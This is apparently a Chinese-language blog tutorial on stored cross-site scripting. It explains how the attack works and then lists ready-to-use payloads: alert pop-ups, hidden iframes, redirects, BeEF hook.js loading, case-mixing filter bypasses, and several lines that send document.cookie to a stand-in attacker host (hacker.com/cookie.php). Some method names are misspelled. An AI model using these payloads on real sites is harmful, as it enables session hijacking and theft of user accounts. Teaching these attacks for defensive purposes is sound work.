2021-01-07 存储型跨站脚本XSS Stored

存储型XSS原理:

攻击者在页面插入xss代码,服务端将数据存入数据库,当用户访问存在xss漏洞的页面时,服务端从数据库取出数据展示到页面上,导致xss代码执行,达到攻击效果。

存储型XSS又叫持久型跨站脚本。

XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

xss =>跨站脚本攻击=>前端代码注入=>用户输入的数据会被当做前端代码执行。

如果用户输入的数据不被存入数据库可以做到存储型xss吗?

答案是可以的,存储型XSS的核心是存入到某个地方然后调用,不一定就要存在数据库里,还可以是文件里。

构造XSS脚本:

    常用html标签:

        <iframe> 创建包含另外一个文档的内联框架。

        <textarea>定义多行文本输入控件。

        <img> 向网页中嵌入一幅图片。

        <script> 定义客户端脚本,比如javascript,可以包含脚本语句,可以通过src属性指向外部脚本文件。

    常用javascript方法:

        alert 显示带有一条指定消息和一个确认按钮的警告框。

        window.location 获得当前页面地址,并把浏览器重定向到新页面。

        location.herf  返回当前显示的文档的完整URL。

        onl oad   一个页面或一个图像完成加载。

        onsubmit   确认按钮被点击。

        one rror   在加载文档或图片时发生错误。

弹框警告:脚本可以执行,也就表明后端服务器未对特殊字符做过滤。

<script> alert ('XSS') </script>             

<script> alert (document.cookie) </script>

页面嵌套:

<iframe src=http://www.baidu.com width=300 height=300> </iframe>

<iframe src=http://www.baidu.com width=0 height=0 border=0> </iframe>

页面重定向:

<script>window.location="http://www.qfedu.com" </script>

<script>location.herf="http://www.baidu.com" </script>

弹窗警告并重定向:

<script>alert("请到我们的新网站"); location.herf="http://www.qfedu.com" </script>

通过网站内部私信的方式将其发给其他用户,用户在另外站点重新登录账户,就可以收集账户访问恶意代码。

<script src="http://www.qfedu.com/XSS.js"></script>

<script src="http://BeEF_IP:3000 /hook.js"></script>   结合BeEF收集信息。

巧用图片标签:

<img src="#"onerror=alert('xss')>

<img src="javascript:alert('xss');">

<img src="http://BeEF_IP:3000/hook.js"> </img>

绕开过滤  的脚本:

     大小写:<ScrIpt>alert('xss')</SCRipt>

    字符编码,采用URL,Base64等。

打开新窗口并使用本地cookie访问目标网页:

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie </script>

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>

 

上一篇:java学习中cookie原理


下一篇:【译】Surface中你也许不知道的五件事